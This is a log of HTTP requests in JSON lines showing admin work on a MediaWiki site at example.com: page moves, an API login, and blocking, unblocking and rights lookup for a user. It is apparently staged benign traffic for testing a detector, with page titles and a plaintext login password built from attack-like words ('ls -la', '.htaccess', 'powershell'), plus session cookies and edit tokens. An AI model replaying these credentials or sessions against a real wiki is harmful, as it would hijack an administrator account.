{"method": "GET", "target": "/index.php/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 208", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Powershell_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Ls+-la+notes&wpReasonList=other&wpReason=Notes+on+ls+-la&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Powershell+notes&wpEditToken=fe7f02b3136bec89a88a4937d9daf0ba6af23594%2B%5C"}
{"method": "GET", "target": "/index.php/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Ls_-la_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=.htaccess+notes&wpReasonList=other&wpReason=Notes+on+.htaccess&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Ls+-la+notes&wpEditToken=0e23055d6e423980b74345e15b657b976af23596%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=3srg8tikpo4r3r9bbl7t5g724a87ckd7", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&lgtoken=a8851fd2321f3fac2b6b2a6b4e4f60f46af23598%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Lighthouse+API+notes&to=Python3+API+notes&reason=Notes+on+python3&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 177", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=2%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Python3+API+notes&to=Powershell+API+notes&reason=Notes+on+powershell&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 172", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=4%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Powershell+API+notes&to=Ls+-la+API+notes&reason=Notes+on+ls+-la&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4; cpPosIndex=6%401794258329%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=move&from=Ls+-la+API+notes&to=.htaccess+API+notes&reason=Notes+on+.htaccess&movetalk=1&token=d9bfff952b515ebbce0754fa68ecb52d6af23599%2B%5C&format=json&formatversion=2"}
# Signed in as an administrator: blocking and unblocking a user, searching the
# block list, changing a user's groups, and protecting and deleting a page,
# through the forms and the API.
{"method": "GET", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Cmediawiki.widgets.TagMultiselectWidget.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%2Cdatetime%2Cexpiry%2CvisibleLengthLimit%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.DateTimeInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-interactions%2Cicons-moderation%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l6l6m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 334", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3ABlock&wpTarget=Lighthouse&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links&wpAutoBlock=1&wpEditToken=ed914eedcba413702b55d6a5594785366af23fb8%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1i52j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-movement%2Cindicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=8zkad", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Lighthouse&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Cmoment%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ChighlightText%2ClengthLimit%2Csuggestions%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2CuserSuggest%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.block%7Cmediawiki.widgets.DateInputWidget%2CNamespacesMultiselectWidget%2CSelectWithInputWidget%2CTitlesMultiselectWidget%2CUserInputWidget%7Cmediawiki.widgets.DateInputWidget.styles%7Cmediawiki.widgets.SelectWithInputWidget.styles%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-movement%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6b5j1", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 126", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794260921%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": "title=Special%3AUnblock&wpTarget=Lighthouse&wpReason=Spamming+links&wpEditToken=6df7925da8fd4aa3d1f231a06b3299c16af23fbc%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.notification.convertmessagebox%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.userrights%7Cmediawiki.widgets.UserInputWidget%7Coojs-ui-widgets.icons%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=16i3r", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Lighthouse&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Lighthouse", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794260925%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
